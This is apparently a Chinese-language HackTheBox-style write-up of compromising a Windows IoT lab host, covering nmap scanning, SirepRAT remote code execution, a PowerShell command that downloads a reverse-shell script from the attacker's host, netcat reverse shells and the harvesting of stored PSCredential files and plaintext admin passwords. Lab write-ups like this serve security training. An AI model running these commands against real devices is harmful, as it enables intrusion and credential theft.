前言
Author: 0x584A
知识:
- nmap
- Windows IOT
- SirepRAT
- powershell
- netcat
信息收集
└─$ cat tcpscripts.nmap
# Nmap 7.91 scan initiated Sun Dec 6 15:25:14 2020 as: nmap -Pn -p 135,5985,8080,29817,29819 -sC -sV -oA scans/tcpscripts 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open upnp Microsoft IIS httpd
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open unknown
29819/tcp open arcserve ARCserve Discovery
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 6 15:26:43 2020 -- 1 IP address (1 host up) scanned in 88.93 seconds
从扫描结果中获得两个有用的信息,分别是135、8080端口。
访问 8080 端口提示需要基本验证,随后google了一下关键字 “Windows Device Portal”,找到了官方手册。
https://docs.microsoft.com/en-us/windows/iot-core/manage-your-device/deviceportal
Windows IoT, 曾经叫做Windows Embedded,是微软的嵌入式系列产品家族,微软在开始发行Windows 10嵌入式版本时将”Windows Embedded”更名为”Windows IoT”
在文档中有一串账号密码,输入后并没有返回登录状态,说要不存在弱口令。
Username: `Administrator`
Password: `p@ssw0rd`
反弹shell
尝试关键字 “windows device portal vulnerability” 找到利用工具:SirepRAT
https://github.com/SafeBreach-Labs/SirepRAT
这个工具通过 RCE 执行 windows iot 核心板上的SYSTEM,可以读、写、命令执行。直接克隆这个代码仓库(我用的python2,Kali最新版没有pip2,所以需要自己安装下,之后用pip2去安装项目需要的依赖组件)。
root@kali:~# wget https://bootstrap.pypa.io/2.6/get-pip.py
root@kali:~# python2 get-pip.py
root@kali:~# pip -V
后来我看他这里是默认python3,但我kali的python3运行报错… 奇怪的问题
尝试读取文件信息,成功。
生成了一个msf的木马,尝试加载至攻击机。发现 certutil 不存在,System.Net.WebClient 失败,只有 Invoke-WebRequest 是成功的。
python2 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell.exe Invoke-WebRequest -uri http://10.10.14.172/Invoke-PowerShellTcp.ps1 -OutFile C:\Windows\Temp\Invoke-PowerShellTcp.ps1" --v
但是呢,又出现新的问题,木马不上线… 尝试用 nishang 的 shell 脚本。
开NC:nc.traditional -nvlp 9998
发现还是无法上线,有点无奈… 直接上传 nc 的编译包,尝试反弹shell。
OK,这次成功了,翻翻文件,找用户的flag。
PS C:\data\users\app> dir
dir
Directory: C:\data\users\app
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/4/2020 7:28 PM 3D Objects
d-r--- 7/4/2020 7:28 PM Documents
d-r--- 7/4/2020 7:28 PM Downloads
d----- 7/4/2020 7:28 PM Favorites
d-r--- 7/4/2020 7:28 PM Music
d-r--- 7/4/2020 7:28 PM Pictures
d-r--- 7/4/2020 7:28 PM Videos
-ar--- 7/4/2020 8:20 PM 344 hardening.txt
-ar--- 7/4/2020 8:14 PM 1858 iot-admin.xml
-ar--- 7/4/2020 9:53 PM 1958 user.txt
PS C:\data\users\app> type user.txt
type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
PS C:\data\users\app> type iot-admin.xml
type iot-admin.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">omni\administrator</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
</Props>
</Obj>
</Objs>
PS C:\data\users\app>
均是加密的,看来是需要解密了。继续google关键字:PSCredential decode
,找到一篇加解密的。
综合得到的信息,user.txt 是一个密码凭证的加密文件。生成加密方式是将用户名和密码,通过 PSCredential 对象实现转换成安全字符串。支持两个种格式,一种是一串0100000...
开头的字符串,或导出为 xml 文件。
但是,问题又特么来了… 加载失败…
获取对应flag
上面的路不通那就新建个账号干进去看看有啥功能。
有命令执行模块,但因为权限问题无法访问到我刚才上传到 temp 目录的 nc。
这里卡了好很久… 尝试找找看有什么执行脚本,比如 .bat.vbs
有一个可疑的 r.bat,查看脚本内容。内容为固定 app、administrator 账号的密码。
有密码就好办了,IOT登录控制台,找到命令执行处,上传 nc 到共享文件夹,反弹对应身份的 shell 到 kali 。